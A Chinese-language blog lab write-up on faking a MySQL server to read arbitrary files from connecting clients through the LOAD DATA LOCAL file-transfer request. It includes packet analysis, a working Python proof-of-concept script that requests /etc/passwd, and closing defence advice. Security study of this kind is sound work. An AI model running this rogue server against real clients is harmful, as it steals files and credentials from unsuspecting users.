实验--Mysql服务端反向读取客户端的任意文件

摘要
伪造MySQL服务器对客户端实现任意文件读取


### 实验--Mysql服务端反向读取客户端的任意文件

实验环境:

客户端:kali-linux-2020.3 | MySQL:10.5.12-MariaDB-1

服务端:centos8 | MySQL:5.6.50-log

综合参考:https://lightless.me/archives/read-mysql-client-file.html

环境准备-kali上安装mysql

参考:https://www.cnblogs.com/faithfu/p/10278163.html

1.安装包
1
2
apt-get install mariadb-client
apt-get install mariadb-server
2.文件配置

/etc/mysql/my.cnf 添加:

1
2
3
4
5
6
7
8
9
10
11
12
13
[client-server]
default-character-set=utf8

port = 3306
socket = /tmp/mysql.sock

[mysql]
default-character-set=utf8

[mysqld]
basedir=/usr/local/mysql/
datadir=/usr/local/mysql/data/mysql
#character-set-server=utf8
3.启动与初始化
1
2
3
service mysql start #启动myslq
mysql_secure_installation #初始化密码
.....自定义安装

原理准备

-Load Data infile

LOAD DATA INFILE 语句以非常高的速度从文本文件中读取行到表中,可用来快速导入数据

该语法通常有两种用法,分别是:

1
2
load data infile "/data/data.csv" into table TestTable;
load data local infile "/home/lightless/data.csv" into table TestTable;

有时候也会与FIELDS TERMINATED BY '\n'一起使用,效果更佳。这两种用法的区别就是差了一个local,第一个 SQL 语句的意思是,读取服务器上/data/data.csv文件,并写入到TestTable中;第二个 SQL 语句的意思则是,读取本地(客户端)这边的/home/lightless/data.csv文件,并写入到TestTable中。而我们这次要利用的也就是LOAD DATA LOCAL INFILE这种形式。

load data local infile 就是客户端申请将本地文件写入表中的语句,我们可以从这个语句切入,看看这个机制是如何运作的

-抓包分析

参考:

抓包分析参考

彻底弄懂mysql(一)–mysql的通信协议 ★

握手认证阶段

wireshark 过滤设置port:3036

kali远程连接服务器上的mysql:

1
mysql -h xxxx -u test -p
image-20210908143517892

这十三条响应就是客户端与服务端建立连接的过程

image-20210908144742807

可以看到在握手认证阶段

  1. greeting 握手初始化包
  2. login 登陆认证消息
  3. Response OK 认证结果
  4. 初始化查询语句等 Statement: select @@version_comment limit 1 ……

认证成功则会进入命令执行阶段

命令执行阶段

现在在客户机上执行:

1
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n';
image-20210908145538553
  1. query语句发送,申请上传文件
  2. 服务器返回一个文件传输申请(file-transfer请求)(TABULAR)
  3. 客户端发送Malformed Packet包,包含上传的数据文件

这看起来十分合理!

-不安全的file-transfer

参考:https://www.cnblogs.com/Rain99-/p/13334755.html#41-mysql%E5%8E%9F%E7%94%9Fclient

Mysql官方文档:

一:

“In theory, a patched server could be built that would tell the client program to transfer a file of the server’s choosing rather than the file named by the client in the LOAD DATA statement.”

image-20210908153753755

二:

“A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL”

image-20210908154314188

无论你是否使用LOAD DATA LOCAL,服务端都可以回复一个 file-transfer 请求,客户端接到此请求,就会返回一个指定的文件内容

于是,我们依照此思路,伪造一个MySQL服务器,伪造发包即可。

伪造MySQL服务器

攻击条件

如果想要利用此特性,客户端必须具有 CLIENT_LOCAL_FILES 属性,所以请求连接时可能要添加--enable-local-infile以打开功能。现实情况中,某些功能的开启可能需要此属性。

攻击流程
  1. 受害者向攻击者提供的服务器发起请求,并尝试进行身份认证。
  2. 攻击者的MySQL接受到受害者的连接请求,攻击者发送正常的问候、身份验证正确,成功连接后向受害者的MySQL客户端请求文件。
  3. 受害者的MySQL客户端认为身份验证正确,执行攻击者的发来的请求,通过 LOAD DATA INLINE 功能将文件内容发送回攻击者的MySQL服务器。
  4. 攻击者收到受害者服务器上的信息,读取文件成功,攻击完成。
服务端伪造

参考:

分析

抓包分析参考

-包伪造:

不需要真的搞个Mysql服务,在mysql客户端连接时,模仿服务端返回Server Greeting
等待 Client 端发送一个Query Package
回复一个file transfer请求
即可读取到文件

大概就像……:

客户端:hi,现在我要查询一下版本信息
服务端:好的,把/etc/passwd文件发过来吧
客户端:好的,这是我的/etc/passwd文件

我们用python模拟这一过程,不用去考虑其他层次的协议,python帮助我们完成了这个工作,只需要关注MySQL Protocol

greeting package

image-20210908171243202

auth :认证消息包

image-20210908171746376

file-transfer :文件传输请求

格式:https://dev.mysql.com/doc/internals/en/com-query-response.html

image-20210908171922416
1
0c 00 00 01 fb 2f 65 74    63 2f 70 61 73 73 77 64    ...../etc/passwd

前面的0x0c是数据包的长度(从 \ xfb 开始计算),长度后面的三个字节\x00\x00\x01是数据包的序号。

即:数据包长度+数据包序号+数据包内容

image-20210908173513285

我们需要等待一个来自 Client 的查询请求,才能回复这个读文件的请求

那么,如何做呢?

-PoC

参考:*PoC参考*

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# coding=utf-8
import socket
import logging

#python 2
logging.basicConfig(level=logging.DEBUG)

filename = "/etc/passwd" #索求文件
sv = socket.socket()
sv.bind(("", 6666))
sv.listen(5)
conn, address = sv.accept() #被动建立连接
logging.info('Conn from: %r', address)
greeting1 = "\x4e\x00\x00\x00\x0a\x35\x2e\x36\x2e\x35\x30\x2d\x6c\x6f\x67\x00" \
"\x1b\x02\x00\x00\x59\x22\x38\x37\x49\x48\x6c\x6a\x00\xff\xf7\x2d" \
"\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4f" \
"\x2e\x34\x5b\x4e\x56\x46\x3b\x34\x34\x48\x4e\x00\x6d\x79\x73\x71" \
"\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72" \
"\x64\x00" #原greeting包
#个人抓包得greeting包
greeting2 = "\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff" \
"\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a" \
"\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00 "

conn.sendall(greeting1)

conn.recv(9999) #接收信息
logging.info("auth okay") #response ok 建立连接
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999) #接收信息
logging.info("want file...")
#file-transfer 文件传输请求,根据长度自动构造
wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
conn.sendall(wantfile)
content = conn.recv(9999) #接收信息
logging.info(content)
conn.close()

攻击测试

服务器在 6666 开启服务

客户机:mysql -h ip:xxxxx -P 6666 --enable-local-infile

image-20210908174329155

效果拔群🤣!

其他PoC

大佬脚本:https://github.com/allyshka/Rogue-MySql-Server

脚本运行后,会在当前目录下生成mysql.log目录,有客户端连接上后,进行记录,并且将文件读取存入,我们打开mysql.log文件,可以看到成功读取。

学习

学习大佬的总结😂:

对于这种攻击的防御,说起来比较简单,首先一点就是客户端要避免使用 LOCAL 来读取本地文件。但是这样并不能避免连接到恶意的服务器上,如果想规避这种情况,可以使用--ssl-mode=VERIFY_IDENTITY来建立可信的连接。

当然最靠谱的方式还是要从配置文件上根治,关于配置上的防御问题,可以参考这篇文档进行设置。

用途的话,做蜜罐是肯定可以的,但是受众面好像不太完整,各种语言的支持都不太一样,比如 Python 中的 MySQLdb 包,原作者说这个包不受影响,但是我测试的时候确是受影响的,而 PHP+PDO 的方式又不受影响,所以能否中招还是要靠一些运气。

而且这些语言中的三方包在连接MySQL的时候,基本上在连接成功之后都会发出一下SELECT语句来查询一些版本号、编码之类的数据,这就达成了前面提到过的第二个攻击条件:等待客户端发来一个QUERY请求,所以如果这些第三方包允许执行LOAD DATA INFILE,危害还是比较大的。

参考文章:
Mysql服务端反向读取客户端的任意文件

MySQL connect file read

作者

inanb

发布于

2021-09-08

更新于

2021-09-08

许可协议


:D 一言句子获取中...